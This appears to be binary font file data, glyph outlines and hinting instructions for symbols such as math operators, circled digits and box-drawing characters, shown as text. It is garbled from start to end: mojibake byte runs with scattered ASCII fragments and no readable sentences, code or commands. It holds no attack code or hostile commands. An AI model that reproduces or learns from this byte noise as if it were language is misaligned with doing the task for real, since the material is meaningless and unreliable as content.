	��91���903##'%\�s��B��}}`��s-Pb�;��=��v&�us���=��e&�Ps�����127#"#"'&'&'#"'&547632676;#"3�c�d3668+MI6641C;It�Y^^S�I6?+((C;ItK@�t�k�HMfpEF�?$Tx5@ej��re!93Ex5@������#/;&'#"'&54763267632#"'&%27#""327654'&�1C;Js�Y^^T�I6?+((C;Js�Y^^T�I66�6�c�d3778�s~�d3778]$Tx5@ej��re!93Ex5@ej��reM�HMfpEF��HMfpEF��I%!3!������~�,�I�%!3I�f����������I�A�/�/�+��к9�9��к901%&'&'3!!#4'!&'7`'JAW���`�LqR]+X����*
Pʋ�s^��(�Rs����57756u���5�
+�
�	/�/�	9�	9�	901	7&'7%%'6	676r�{����EG��%�y��44R�W!L!$�Ҿ��	�����&!L ���{����JP+3#���+�f�J�+7�+��и���/�/�9�	90137#'���P����MV���o�)g�n�J�+3#3#��@��+��f�J�+{�/�/��и/�ܸи�
ܸܸ
�и�и���/�/�/�/�9�9�
9�9013737##'���[P����]M�E�+qd�@ox���p���An��!3#	i�h�����^��T��3	3#�#"�����T��^��32#4&#"#�������P(*����7�������332653#"���������RP������7�����*u�M�>2&#""&'7327���~�9GA��~�9G⧅}�������}�����u�M�&��%��u�M&�'�%�Ju�M�-6?67632&#"#"'&'7327&'&5476767654'&'�SOJMG7�9GcBnnVsSOJMG7�9G]InoSu�=,EG%,�=,HK%�DAF7�����K|��oU���DAF7���1Io��sV��/HgjG$�4�.JhgH$u�M�MQZc67632&#"!67632&#"#"'&'7327!#"'&'7327&'&54767!!67654'&�SOJMG7�9G~SOJMG7�9GcBnnVsSOJMG7�9G��SOJMG7�9G]InoSu�~���=,HK%
=,EG%�DAF7�����7�DAF7�����K|��oU���DAF7���$�çDAF7���0Io��sV���!�.JhgH$��+/HgjG$u�Mmqu~�67632&#"!67632&#"!67632&#"#"'&'7327!#"'&'7327!#"'&'7327&'&54767!)!67654'&�SOJMG7�9G~SOJMG7�9G~SOJMG7�9GcBnnVsSOJMG7�9G��SOJMG7�9G��SOJMG7�9G]InoSu,����~���=,HK%2=,EG%�DAF7�����7�DAF7�����7�DAF7�����K|��oU���DAF7���$�çDAF7���$�çDAF7���0Io��sV����!�.JhgH$��+/HgjG$u�L.3&#"7#'754'&'#"&'7327#4767>32";EY?w^H�6�H\O3,,�HO��;E+@/VfmVm�HO������?u�]H��H]sM3�g��z����.Vr�mV_��z�u�M<%4'>7'7&#"7"&'7327&'&54767>2�=,HK%��=Q	�Hl;EYLmHH�<Vs����;E]InoSu���J�.JghH$�;�+e�H]����Mo|HH�C?Z����z���1Io��sV<��z�u�M;.'>7'&#"'"&'7327&'&54767>2�=,HK%m#6,=iSH�;Ec��HK�s����;E]InoSu���J�.JghH$6B0�+�@TH���?�HK|�����z���1Io��sV<��z���y���'
P����'
P�
PG���y���'
PG��'
P��
P�������t�'
P���
P�����y���'
P��'
P���'
P�
P�������-�j'
P$����j3#3#!!�����X������������j&�'
P���W'
P��$'
P-�W
P.$�����j&�'
P�W
P$���2#"'&'&'&#"5>32326�i�an�
�^X�bi�an��^V�2�NE;=LT�NE;=K���23276767632.#"#"&'�g�V^��na�ib�X^�
�na�i2UK=;EN�TL=;EN�1�).#"3".54>323265.#72#"&:Q�HRdhNi�\d�nx�>@�HRdhNi�\d�nx�.ttlH=Y�O�HL�\}X[�lH=Y�O�HL�\}�W��#"'"#322�{��dfftX�{��dfftX�����#��*�$��0!#.5476767654&'30�ND:<LT�ND:<Jh�`n�
�^X�bj�bn��^V����l&#"5>323267#"''�cDX�bi�a]y���eEV�gi�a`y��S LT�NE+~F�� KU�NE,��F��� #"/&'&#"5>32326!!�i�an��^X�bi�an��^V��e��o�NE;=LT�NE;=K���`��#"/&'&#"5>32326!!�i�an��^X�bi�an��^V��e���OE;=LS�NE;	=K�k��b��%&32767#"'!!'7!5!7&#"5>32�%H\�i�aBP���﹉l�����ZX�bi�an�3�}o��-X"�OE���d���8LS�NE;I������"#"/&'&#"5>32326!!!!�i�an��^X�bi�an��^V��e������OE;=LS�NE;?K�k�˪���.#"/&'&#"5>32326#5!7!5!7!!!!'�i�an��^X�bi�an��^V��L�����o�K���ɦo��OE;=LS�NE;?K�L�˪�s�˪�s���B.32767#"'!!!!'7#5!7!5!7'&#"5>327b
	K`Jqi�a'+\+�zl�h�>�Tm�?u2�^X�bi�an�c��"%]�OE��˪�Nt�˪�=LS�NE;%�N���;?@.9*-"*�19�"��<-<�<�21�������9999990#"'&'&'&#"5>32326#"'&'&'&#"5>32326�i�an�
�^X�bi�an��^V�gi�an�
�^X�bi�an�
�^V�o�NE;=LT�NE;=KڲOE;=LS�NE;=K���43267#"'3267#"/'&#"5>327&#"5>29+V�gi�a@LJ�ZV�gi�a�}���9+X�bi�a@MH�ZX�bi� ��a
KU�OE�8KU�NE;	��@^
LT�NE�8LS�NE;f@����59#"/&'&#"5>32326#"/&'&#"5>32326!!�i�an��^X�bi�an��^V�gi�aq��^X�bi�an��3V��e��L�OE;=LS�NE;?KҲOE;=LS�NE;?K���y��5P#"/&'&#"5>32326#"/&'&#"5>32326#"/&'&#"5>32326�i�an��^X�bi�an��^V�gi�an��^X�bi�an��^V�gi�aq��^X�bi�an��3V�ײOE;=LS�NE;?KҲOE;=LS�NE;?KҲOE;=LS�NE;?K����"32?632.#"#"&'!5!5�g�V^��na�ib�X^��na�i�����UK?;EN�SL=;EO�Ȫ��������+	 %5 % $%5$[��g&Y����%Z�����hӦ�������������6��9%676767!!"'&'&'!5!!5!676762!!&'&'&[C-8���7VY�YW6���8.CC.8�d
6WY�YV7
�e8-�,CE[�<0[2332[39�\DD+N+DD\�93[2332[0<�[EC,�`�� !5!676762!!&'&'&!![C.8�d
6WY�YV7
�e8-�;��++DD\�93[2332[0<�[EC,�����`��'
P� �����'
P��& 
P������'
P���& 
P0�������'
P����& 
P.����62�'
P���'
P��� W���63�& �'
P��
P����`��	3654'!!5!&547!5!!�44�34�w��~�����0IG00GG2�?8>;��_8�`� !!!!"264&'2#"&546������Hdd�deH;k'**�z{�����DbFE``�bq+((d:s��vv��`�K!!!! &!56��������������뗲�����`�!!!!	3#�����$����������c�'�`�!!!!33#�����$�����������'�c�`��!!!!!!'������+]^*�^��]���N��䰰�`��
!!!!!3!�������N�p!�N�����Nf��`�07GO!!!!#"3###535463!3267#"&546324&#"'53#5#"&4632264&"������?$mmC???D��NB&H#$J'`qk[Q_C<17H�BB@,I\\I,@�<i==i����7$$3��`3D=�� DH>p`ctiG6B?9i��=$#t�u#g�SS�S�`�*!!!!>32#4&#"#4&#"#3>32������!]?U\Z79EPZ7:DPZZV:;S���==:xo��HOM]Q��HPL^P��%U20=�`��,!!!!3#7#546?>54&#"5>32�����4eeb_--B6'Z0/`4\o$-,����N2A+,/-7#!^aO&E++
�'��>@"

���
�
	�<�291�<�2�<��<�990!!!!!'7!5!7!�}�/�H�{����}�������;fը��fӪ����L!@

�<<�<<1������0!!!!!!�������ת�������4!5!7!!!!!!'7!5!7!5!��D��Q"��r�n��遙R���o�L���T��˪˪�T��˪��	)@

�<�<1��������0!!!!!!!!�������������K�����
T@.����B���	$#�<�2291/���90KSX����Y"	5	!!�@�����������p�o�����
V@/����B���$	#�<<�291/���90KSX����Y"55	!5����A�����������Ǫ��V�
3!!	5	!!����@�����������p�o���V�
!!555	!5�����B����k��������Ǫ����!5!7!5!7!!!!'	5'���`��ȉ�)P�"_=�6���@�����s��s1�s��tF���p�o���!5!7!5!7!!!!'55'���`��ȉ�)P�"_=�6���������s��s1�s��tF��������.��
	5	5��:��6����:��6�p�r��
�p�r��
�.��
5555�6��:86��:������������������'!67&'&54767&'676'&'{)#Y4JJ4Y#)��)#Y4JJ4Y#)�AAAAGF�����㞢GGGG�����➣FG�2;;���;<<;�2�;���5$?$%5%67$'W��	�e�����Ĕ�����d?�N�Ĕ])]�o&����
bR�)`�q%�
�����R��d%'%5%
�>�z������m�z�F<�˶�@6�� o@�h��G�p����%5'75%7-�������孈m�������%˶�C@�ʴ���@�h��G�p�/�V
!5!%5%%%!!'���/��x��v�H-��r��f��5L�OlU�r�C���@=�V�l�ь�����=�/�V%'!5!75%7%5!!'�	���GW�b�[�����mm��N��L>�ߪ�w������e=������ت�=����$%#"'&'&'&#"5>32326	5�j�bn�
�^X�bh�`n�
�^V�g�@����ND:<LT�ND:<J^���p�o����"#"'.'&#"5>3232655�j�bn�
�^X�bh�`n�
�^V��f����NF<>LT�NF<>L>��������)�P14%&#"5>32%5%%%3267#"'&'&/'
k
X�bh�`'+k��u�E%��s��k
�^V�hj�bn�
"P�v��1-LT�ND���9A�T�j�͊����<JV�ND:
�<�nW�/�V143267#"'&'&'&''75676?5%7%5%'�u^06
�^V�hj�bn�
G;h�V86VbhZMS<�a�^������������
>LT�NF<��=�	&T�N#�w���f=��J;�N�}
55	5����8�@���'�����������p�o�N�}
	5	55�@�������'���p�o���������m�`!-%5%%%'5%%5
MM��`���Z�D��OA��@�FZ�D�t�@�m��*�_TW����&��o�}�䎲�����w&-r�~����bU�m�`!7/%5%%'%5%75%���J����v�a�d���",��,��V`�b�L"��_D2,�/*/����&�O{������¸��[&�}���������P
%5$�r��	��o��s�a��a^�~�|�|���P
55%$��s���o�	��a�|�|���^a�)�W!%5%5$�g��V����$����}��������]]���x��|��)�W3%55%$��V���g��}���$�����BW��|�����]]�R�W(%#"'&'&'&#"5>32326%5$�i�an�
�^X�bi�an��^V�g���$����}���NE;=LT�NE;=K$��]]���x��|��R�W(%#"'&'&'&#"5>3232655%$�i�an�
�^X�bi�an��^V��e��}���$��NE;=LT�NE;=K$��|�����]]���&%5$%67%'����E���t�֋$���k��}u�U)�?�eK�tu��u����"��	K
9'���'567$'567&'��%�=���⃹�t�֋���~����}uRU)�?���K�u��u,��ަ�K��9'���_%!"54763!!"3!���슊�@����^`�@��ƍ�����^`���_75!27654&#!5!2#�@�`^����@Ȋ���ʣ�`^����������;��	#";3!!!!#"54763����^`�0�r�rn�d�f�lp�p�ꊊ����^`&p����p���h�ƍ��3��	32654'&+#!5!!5!32#���^`�0�r�r������p�p����9���^`���p���h�����ƍ����7!!!"'&54763!!"3!���Ɋ����@����_`�@��,���ƍ�����^`���7!!5!27654&#!5!2#��@�`_����@Ȋ���ɖ�,�`^�������ȋ�����	'!";!!!!'7!5!7&'&54763!7!!�ʉ�_`�'�}�E=���a�L��T>������sc�L0��R���^`����5������ƍ��7�����	'327654'&/!5!7+!!'7!5!7!5!^��`__BV��	5c�TpX����?��b�L��m>�U��`^��`C	��7� X��ȋ����5������j�� )5!7!!'!"'&54763!!"3!�.Bqx-�qxD��Ɋ����@����_`�@��Z<��Zi���ƍ�����^`��j�� )5!7!!'5!27654&#!5!2#�.Bqx-�qx�'@�`_����@Ȋ���ɖ�Z<��Zi�`^�������ȋ���332653#"757!!�����������<tc��t<RP������7�����*�-�<uUt<����&�
P��3��332653#"3##5#535�����������e��WP������7�����*�d��d����@���<1@����0!!!!���X�����ɪ���@�<��1@����0!5!!5��X����u�7��V�!!!!!!���X������ɪ���V�!5!!5!5��X�����u�7������e#!#e��Ȫ��X���e33!3٪8���X������$3?"2767>54&'&'$  &'&'&547676!!#!5!��]\LMLLML\]�]\LMLLML\���bc1111cb���bc1111cb�d�����d�''LM�mj�ML''''LM�jm�ML'�dbcwv��wvcbddbcvw��vwcb������e�e����$7!!"2767>54&'&'$  &'&'&547676�r��$�]\LMLLML\]�]\LMLLML\���bc1111cb���bc1111cbתa''LM�mj�ML''''LM�jm�ML'�dbcwv��wvcbddbcvw��vwcb����$3?"2767>54&'&'$  &'&'&547676''7'77��]\LMLLML\]�]\LMLLML\���bc1111cb���bc1111cb�x��y��x���''LM�mj�ML''''LM�jm�ML'�dbcwv��wvcbddbcvw��vwcb����x��y��x������$7	"2767>54&'&'$  &'&'&547676�px��g�]\LMLLML\]�]\LMLLML\���bc1111cb���bc1111cb�px���''LM�mj�ML''''LM�jm�ML'�dbcwv��wvcbddbcvw��vwcb����$73#"2767>54&'&'$  &'&'&547676�����]\LMLLML\]�]\LMLLML\���bc1111cb���bc1111cb��''LM�mj�ML''''LM�jm�ML'�dbcwv��wvcbddbcvw��vwcb����$	2L"264&'2#"&54>"2767>54&'&'$  &'&'&547676ZPnn�noO@v+..�������]\LMLLML\]�]\LMLLML\���bc1111cb���bc1111cbAoPOmm�p�1.-rB�������''LM�mj�ML''''LM�jm�ML'�dbcwv��wvcbddbcvw��vwcb����$+E
%#'-73%"2767>54&'&'$  &'&'&547676�C4��f��4C��4/f/��]\LMLLML\]�]\LMLLML\���bc1111cb���bc1111cb1��X���S�X��Y�S���''LM�mj�ML''''LM�jm�ML'�dbcwv��wvcbddbcvw��vwcb����$!;!!!!"2767>54&'&'$  &'&'&547676��������]\LMLLML\]�]\LMLLML\���bc1111cb���bc1111cbj����''LM�mj�ML''''LM�jm�ML'�dbcwv��wvcbddbcvw��vwcb����$37"2767>54&'&'$  &'&'&547676!!��]\LMLLML\]�]\LMLLML\���bc1111cb���bc1111cb8����''LM�mj�ML''''LM�jm�ML'�dbcwv��wvcbddbcvw��vwcb������$!%!!!!#!5!Q�X>���d�����d������Y�����e�e����$!!!%!!�r��P�X>��ת\���������$		'	7	%!%!!=��ky����yk��yjj���X>�����xj��yjjy��k$���������$3#!%!!���a�X>����������J�@
��<�1<���033!!�����u�p�J�!#!5!3J�����I�!#!5I�s��s����I�35!3!�������|�33!!�N����u�p�|�!#3!!!!.N��N����$��J�!#3!!!!.������$��J�!3!!!#3��G����u�p��J�!#33!!!#3.GV������f��u�p��J�!#3#3!!!!.c��G��G��f��$����J�33!!!'!�'Ss��j�\��s=���u�5�Y�6��p���J�!!!!'!#3!7!�s���j����s�hx�j���5����6��$��$�������J�!!'!#3!#3�s����6��s=������5�Y�6��p��u������J�!#3!!!!!'!#37!��s�:��j��s���j�G��$-5����6��$��������]*5$%67654&#"'632#"'732654'&'$��@�e=M>P7sZ�����w㔰��Zs7P>M=e��.�(Y7O0<0:>~j�y�[�<<�[�y�j~>:0<0O7Y���]*327#"&5476%$'&54632&#"�e���e=M>P7sZ�����w��㔰��Zs7P>M=e�@�.(Y7O0<0:>~j�y�[�<<�[�y�j~>:0<0O7Y(���	51���� ��������	�^��� bb�:�����d
5!	5������b����������d
5!	���^���b��bb�:��yg��62"'&'!"&462!6"264�S몧�Q3�Q3T��W4��drOOsOOS��Q3CB3R��U4CDPrOOqyg��"&462!6762"'&'!$264&"aS몧�Q3�3T��W4�Q�rOOsO�S��Q3CB3R��U4CDPrOOqbgR�
7!6762"'&'$&"26b�1[륢�S4�OsPOtO.�D/Y��R3B�PQqOOy��;d3#!!#3%!5!��(
�󀨨���
d��s
���<�!##5!#T~�N���
35!3	3#�K���#"������T��^��
!!3#	�K��@i�h�������^��T��
!!3	3#�K��@�#"���쪠�T��^�~)3!!&'.'&����ZV��F%�,E=Ώ?~��%F�VZD��A?��=�~	!53��*�,Ԫ�֪������w��	#	#���}�}�����w��J���w��	3	3�!����#�wJ��w����w�@����1@
���0"# #4$H�̭�������9�B(���� ����w�@����1@
���02$53 3H�4��C��C�1��� ����(B�9������	r�������������H�F����1��03#���F��1		!!'�+]^*�^��]���䰰���3#3#!5!7	!!	'����R�L���x��x����Lux�6�6x���<�ux�6�x�����x�6x��'B	'	�''�ٛ��>���P��Nq^�D^�����'B%		!'���''�t����N�����P�^�D��'B5		5!�''����6�b�N��P�������'B5	5���tN��>����]�P��'B	5	'���N�t�>P�������`��32?632.#"#"&'!5�g�V^��na�ib�X^��na�i���UK=	;EN�SL=;EO�Ȫ�cy�
33#c�u?Ik�8f�f����%�q����#cy�
33#c�f�f���I?��#���q�%������
)!"3!!"'&5463!! '&76)!"3!�k:((P:��j�ZY����k�񼽽���jȊ�����()9:P�ZX����D��
������ȋ����
)5!2#!5!2654'&#5!27654'&#!5! !����YZ��j�:P((:�k�Ɋ����j�����������XZ�P:9)(���ƍ���������N$!4&"#47632! #4'& �PtP�ZX����D|������p���:PP:�:ȀZX���8�x����8�Ȋ����:���1$2653#"&5! '&3 765�PtP�ZX��������������1�::PP:�8�ZX���:����8Ȋ�����|8�4'&'##47673#�Z:K�K:Z��l���l����Y:�:�:Z��a�Ȍla��l��a�4��###!5!5!5!333!!!!'5#Y����~��~������~��~���,��,��3��3�ͨ����^��
3#	5���7���������Ѧ��^��
3#55=��d����/��/�m�.
��
	5	5	5
��:��6���:��6����:��6�p�r��
�p�r��
�p�r��
�.
��
555555�6��:86��::6��:������������������������.��
	5	!5!	5���?�����@�������������N���p�o�.��
5	5!55���?��������ްo�p���9�������������
%5	5!���@����o�p���9�����
7	5	!5!���?��������������)�W5$%5$�T��i����}����$���_��������|��x��]]�)�W5$%$5��i���T�$����}����B����!]]����|�����!&!%'&'57&%5$%67&%7��*������?���;�������i���@��]0qw^�%���KA6#�(A�F+�<zK��d�ה`�g��և���f#���!&5$%'56?5$%7$67&����������X'}�8���u��c�̻B8���
#%���MK��.�0Q�t;�L��K1gעv�}���iwi����#!!!!!!'7!5!7!!!M�XF�}�`�c.��m�X���.�P����#:���������:������h�����#!!!!'7!5!7!5!!5!!M�XF�c.��m�X���.�P��6x��#:��D����:����h����h�?��!!!!!!'7!5!7!���X�UM����M�#UZ�Q��m��bm���?��%!'7!5!7!5!!5!!����M�#UZ�QX���UM���bm���h��Dm����"%&#"5>3273267#"''	5�cCX�bh�`^xn�ieEV�hj�b_zl�]�@���LT�ND*�F� JV�ND+�F���p�o����"%&#"5>3273267#"''55�cCX�bh�`^xn�ieEV�hj�b_zl��[���LT�ND*�F� JV�ND+�FͰ���������W&&#"5>3273267#"''%5$�cDX�bi�a]ym�ieEV�gi�a`yl�]���$����}�. LT�NE+�F� KU�NE,�F���]]���x��|���W&&#"5>3273267#"''55%$�cDX�bi�a]ym�ieEV�gi�a`yl��[��}���$3 LT�NE+�F� KU�NE,�F���|�����]]���7%'%5	'瞃��۞��L�О��
@��Y�8��@�\���9�@a����'	7%͞��G۞�����О����@?Y��@�����<9�@����}��5!%57%!!'71��|���I��������v�\'��
��:��q��ߦ[�@��Z�8���@��_��}��7!!'7#5!7%%%������9�J�pv�\�]�FGjq���8@�ǹ�������@�����<p^�������Bi�'
P���'
P�r
P��������&
P�'
P���
Pe�����B�'
P��'
Per
P������B�'
Pe��'
Pr
P���X����!!5!676$3!!!!!!"$'&�D�M^d���G���KA�@J�����H���^Hs����ȟMO�x]�Jx�NL�ư����I�!!"$$3!!!3#W����G�����c���G���	U��sJ�����`t`ȟ���]�@���g% $$)!"!53#5!3!+���*(��F�kN莎�%Fr�����Q;�����0Q������IH&�
P8���I� !!"$54$3!!!!5!W?J�����G�����c���G���K@	���[sJx�NL��`��`ȟMO�x]������}% $54$)!!3!!5!+���*(��F�iNv��%Fr������O:���0Q�V����I� !!"$54$3!!!!5!W?J�����G�����c���G���K@	���[sJx�NL��`��`ȟMO�x]��g����I�!!!!"$54$3!!!!W�CJ�����G�����c���G���K�s�"�NL��`��`ȟMO��X����!!!#!5!676767!5!&'&'&'!5!2���FM^����H����KA��@J����G��d^H'����ȟMO�x]�Jx�NL�ư����I�&$'!5!2#!5!6$7!#3����G��c������G���	����'J��������ȟ�]��������g )5!2767!#3!&'&#%5�(*���F��kN����%Fr�Fg�� ��Q:��欑0P����I� &'&'&'!5!2#!5!676767!5!5!�?J����G��c������G����K@	�[��['Jx�NL�������ȟMO�x]�����} )5%2767!5&'&!5%!5!�(*���F��iN��v%Ft�F��g���P:���1R�����!!!!!!�d���F�d���(�ª�J���#27#"''7&54&#"32654'h��ucvn��ݸ�vcuo<�d���Gcc~��Eqvcv����ovcv���<�H饀cbG飀brLR�5����0z��J�.������	3	%!	�����������$��`��y�����	'3-��x�Z�x����x��vx�%3#7-Zx�xZ�vx�x�v�x���?&�
��&���'��&��
��&;���N'64'&4764'&4�zLL||LL||zLL||LL|NvOpP���PoP���vOpP���PpP�����X!##�����m��o##5o���������X33����"�m���o!533o�X����b�3#5!��W������d�b��!53#�������������5!%#3�W�q����Xd��!5%#3��� �����8X��^!#���^��k?$%%$����������������������~���������	1;FOY!! &546;#"&546 !54632+32#"&=54&#"3#"32653264&"2654&#l(�ع���������(���������������DbEDbbE��EbbEDbP�Dba�bb�abDv(�D�������(���������������غ������P�Eaa�b��bDEbbD�b�aaE�	�DbbEDb��^!3!���Z?�k�g:!#!:��������g5!#������S��p:!!3:�v�������p3!3!����v�S���l4732#"'&'.#"0���Pd@7+	h�$��TA6?&H������*�u�
#"&546323250u��Pd@7+	h���$����DTA6?&Hk-k����	'3%!5)!o�&xRZPx�(���F����D��(xR��x�H�����!!!!%!!���b�F���D��D�����O	3!	3	)	!	3	��
����v����
������v�v��������vv��!
����tx��3!3	)	!	3����v����
������v�����vv��!
�����+x�#/;GS_kw�����������+7CO[gs����������!2#!"543!254#!"+"=4;2+"=4;2%+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2%+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2'+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2'+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;22+"=4#"=43+"=4;2+"=4;2"=43!2#U���ݓJ�II�J%J%%J%�%K$$K%J%J%%J%�F%J%%J%�%J%%J%�%J%%J%�%J%%J%�%J%%J%�%J%%J%�%J%%J%�%�%%�%�C%J%%J%�%J%%J%�%J%%J%�%J%%J%�%J%%J%�%J%%J%�%J%%J%�%J%%J%$%J%%J%�%J%%J%�%J%%J%�%J%%J%�%J%%J%�%J%%J%�%J%%J%�%J%%J%$%J%%J%�%J%%J%�%J%%J%�%J%%J%�%J%%J%�%J%%J%�%J%%J%�%J%%J%�%J%%J%%�%%�%%%%�*$%%�%J%%J%�%K$$K%��%%%%��������JJJ�I%%I&%J%%J%�J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%�J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%�J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%�J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%�%��%%� %I%�HJ%%J%%J%%J%�%J%%J%
�	)	!#	3		#	3
��W��
�����v���

���Ў��v�v

�������
�
�����v��Ff�			7'3#vv����r��&9�99�"9�"rr5��k�k����\��S���SAc��c�\c��c������n`N����V�{V�����'`^��q���yF�.��!!#!#5!�����������������
!'7'7!!5!5!���x��wx���Fb����x�wZ�wx�����#��%!	!	!	�l���(��+�R�[��Srvv���������P�#53sà�����Z�����0�������s�3#�����s��P�#5s�ˠА����W��eE�&2����P�53�Z���������y�����i����P�#0P���s	���P�3#�à�Р˓���������[���Pm#!!s���#��	q����s�3#�����s��P�!!s�`��N�	u���Pm!5!��#���������Pz3#���z����Pz3!5!��`�z������Xm
#4763!!"]�oy���eD9��uߑ��fW����]�#'&%'53 763�:*e�nK��==Mn�e(� =��C���_A�Ec���H�<��X�
3!!"'&5]9De��{o����Vf����d���]�#3]����	����]m
4'&#!5!2�9De���yo��}�Wf��������X�&'&3!3#76l<(e�nM==��Kn�e*�!<����McE�A_�I����=��]�
3#!5!2765��o{���eD9���Ꮮ�fV���u�3��	��w7�@�%	!!!5	5!!3��7���d��
�������h��r������v�����!	!!��
���$�<���Ff�+			276764'&'&">  &vv����r���n66\]�]\6666\]�]\6������5��k�k����\��S���S��]\6666\]�]\6666\�������!��Y���Z
 "27654/2#"&546573��2332�233���������V��VV��VVVV��V�����������)t'�������>32#"&'#'%53%&  s:�{����{�:���!8�#!��r��ܧ�$�da����ad��]ch��aam�@���j���.��!3!3:��������^������
&ۺ+��#+�#�+�A&6FVfv������
]A��]A��]A)9IYiy������
]�+��
+�
�$%+�$��01! 4$32! 4$#"35%33!��?���?�q��q�W����������|�������A�?�r�����p��G������~+�/�������
8?�+��3&+�3�+�A&6FVfv������
]A��]A��]A)9IYiy������
]�3�и/A�&�&]A&)&9&I&Y&i&y&�&�&�&�&�&�&
]�,9�+��
+�
�+��0)+�001! 4$32! 4$#"!!56$7>54&#"5>32��?���?�q��q�W����������O��\R!>/_N;�sa�=��0>���A�?�r�����p��G��������M�"?U(?N&:�$�}:iF������
D��+��B5+�B�+�A&6FVfv������
]A��]A��]A)9IYiy������
]A�5�5]A5)595I5Y5i5y5�5�5�5�5�5�5
]�5B9�,5B9�,/A�,�,]A,),9,I,Y,i,y,�,�,�,�,�,�,
]�ܺ&9�;9�+��
+�
�)"+�)�?8+�?�2/+�2�/2901! 4$32! 4$#"#"&'532654&+532654&#"5>32��?���?�q��q�W�����������
v��@�X[}Duskc��ZX\[4yk_�=��h��A�?�r�����p��G������]���0OLGN�<:<? ��sQr�����
)�+�� +� �+�A&6FVfv������
]A��]A��]A)9IYiy������
]� �$и�&��+��
+�
�"#+�"�и#�'�01! 4$32! 4$#"%!33##5!5��?���?�q��q�W�������������
΍���C��A�?�r�����p��G����O��H����ӎ�����
9K�+��+��&3+�&�+�A&6FVfv������
]A��]A��]A)9IYiy������
]�-9A�3�3]A3)393I3Y3i3y3�3�3�3�3�3�3
]�+��
+�
�0)+�0�+��#6+�#01! 4$32! 4$#"!!632#"&'532654&#"��?���?�q��q�W�����������=�o?��վ@�X_wDhvvh2eY��A�?�r�����p��G������
�����/aUVa%�����
'@��+��;+��5%+�5�+�A&6FVfv������
]A��]A��]A)9IYiy������
]A&6FVfv������
]A��]A�%�%]A%)%9%I%Y%i%y%�%�%�%�%�%�%
]�)%59�+��
+�
�"8+�"�>,+�>�2+�201! 4$32! 4$#""32654&.#"632#"&5432��?���?�q��q�W�����������N\\NN\\�Ta/w	�N�� ����5j��A�?�r�����p��G�����b[ZbbZ[b��#�P=������������
"�#/�$/�ܸ#�и/��A&6FVfv������
]A��]���A��]A)9IYiy������
]� 9�!9�+��
+�
�!+�01! 4$32! 4$#"!#!��?���?�q��q�W����������k����Q�1��A�?�r�����p��G����K�������
'?K
�+��=+��1F+�1�+�A&6FVfv������
]A��]A��]A)9IYiy������
]A&6FVfv������
]A��]A�F�F]AF)F9FIFYFiFyF�F�F�F�F�F�F
]�%F19�%/A�%�%]A%)%9%I%Y%i%y%�%�%�%�%�%�%
]�+=9�+/�4F19�%�7ܸ+�@��+��
+�
�":+�"�.I+�.�C+�C�4C901! 4$32! 4$#""32654&%.54632#"&546732654&#"��?���?�q��q�W�����������T__TT__��j����iv����vWQMKRRKMQ��A�?�r�����p��G�����PIIPQHIPIvSt��tSv�\����\��=BB=>BB�����
4@��+��>)+�>�+��/8+�/A&6FVfv������
]A��]A��]A)9IYiy������
]A>&>6>F>V>f>v>�>�>�>�>�>�>
]A�>�>]�)>9A�8�8]A8)898I8Y8i8y8�8�8�8�8�8�8
]�+��
+�
� 2+� �,;+�,�5&+�501! 4$32! 4$#"532676#"&54632#"&2654&#"��?���?�q��q�W�����������Ua.w
�O�� ����5k�N[[NN\\��A�?�r�����p��G�������$�O
<���������b[[bb[[b�����
&2>��+��#+�#�*<+�*�60+�6�+�A&6FVfv������
]A��]A��]A)9IYiy������
]A�0�0]A0)090I0Y0i0y0�0�0�0�0�0�0
]A�<�<]A<)<9<I<Y<i<y<�<�<�<�<�<�<
]�+��
+�
�-9+�-�$%+�$�3'+�3�$��01! 4$32! 4$#"35733!"32654&'2#"&546��?���?�q��q�W����������͞��u��>@EE@?FF?���������A�?�r�����p��G�����>>'�*�6�ޗ�������{����������j�5!�j�����l!�X�����3��	����!�@�	��<j�5!!5!!5!r#�B#�B#j������<�l!!!!!r#�B#�B#X��X��X���m�333������mj��j��j���m!!!�@��@��@�mj��j��j��<j�53353353353<�x�x�x�j��������<�l3333333<�x�x�x�X��X��X��X���n�3333�������p��^����^���^����^�n!!!!�@��@��@��@p��^����^���^����^��!!�������l!!��l������!!��#������l!!��#�l�������!5!���j������l!!���X����!5!�$�j�����l!!�$�X��j��3!�-j�����3!�-m���j��!!�@�j������!!�@�m����j��5!3,�j�k������!3,�X����j�5!!�@j�k�����!!�@X�����3!!�-��	���������3!!�-��	��������	#!!!P@��j��������	33!!�P�-�#�k��������!!!�@�#�	���������	#!!!P@��m�������	33!!�P�-�#�l�������!!!�@�#�	���������!5!3��,��j�k�����!!3��,��X����	!5!!#���@P�j�k�����	!5!33�$,�P�j�k�������!5!!�$�@�j�k����	!!!#���@P�X�������	!!33�$,�P�X�����!!!�$�@�X����!5!!�����j�������l	!!!!���-��XV������l	!5!5!!��,��j�V�������l!!!�����X�������!5!!�$��#�j�������l	!!!!�$�#�XV������l	!5!5!!�$��#�j�V�������l!!!�$��#�X������j��5!3!,�-j�k�������	!3!!,�-��X���V����	5!3!!5,�-�3j�k��V����!3!,�-X����j��5!!!�@�j�k�������	!!!!�@�#X���V����	5!!!!5�@��j�k��V����!!!�@�X������#!5!3!����,�-j��j�k�������!!3!!��,�-��X���������!5!3!!��,�-��j�k��������!!3!!��,�-��X��������!5!!!!���@��j�k���������!5!3!!�$,�-�#�j�k���������!5!!!!�$�@�#�j�k���������
!!!!!#���@�#P�X���V������
#5!5!!!!P�$�@��V�k��������
!!33!!�$,�P�#�X��V�������
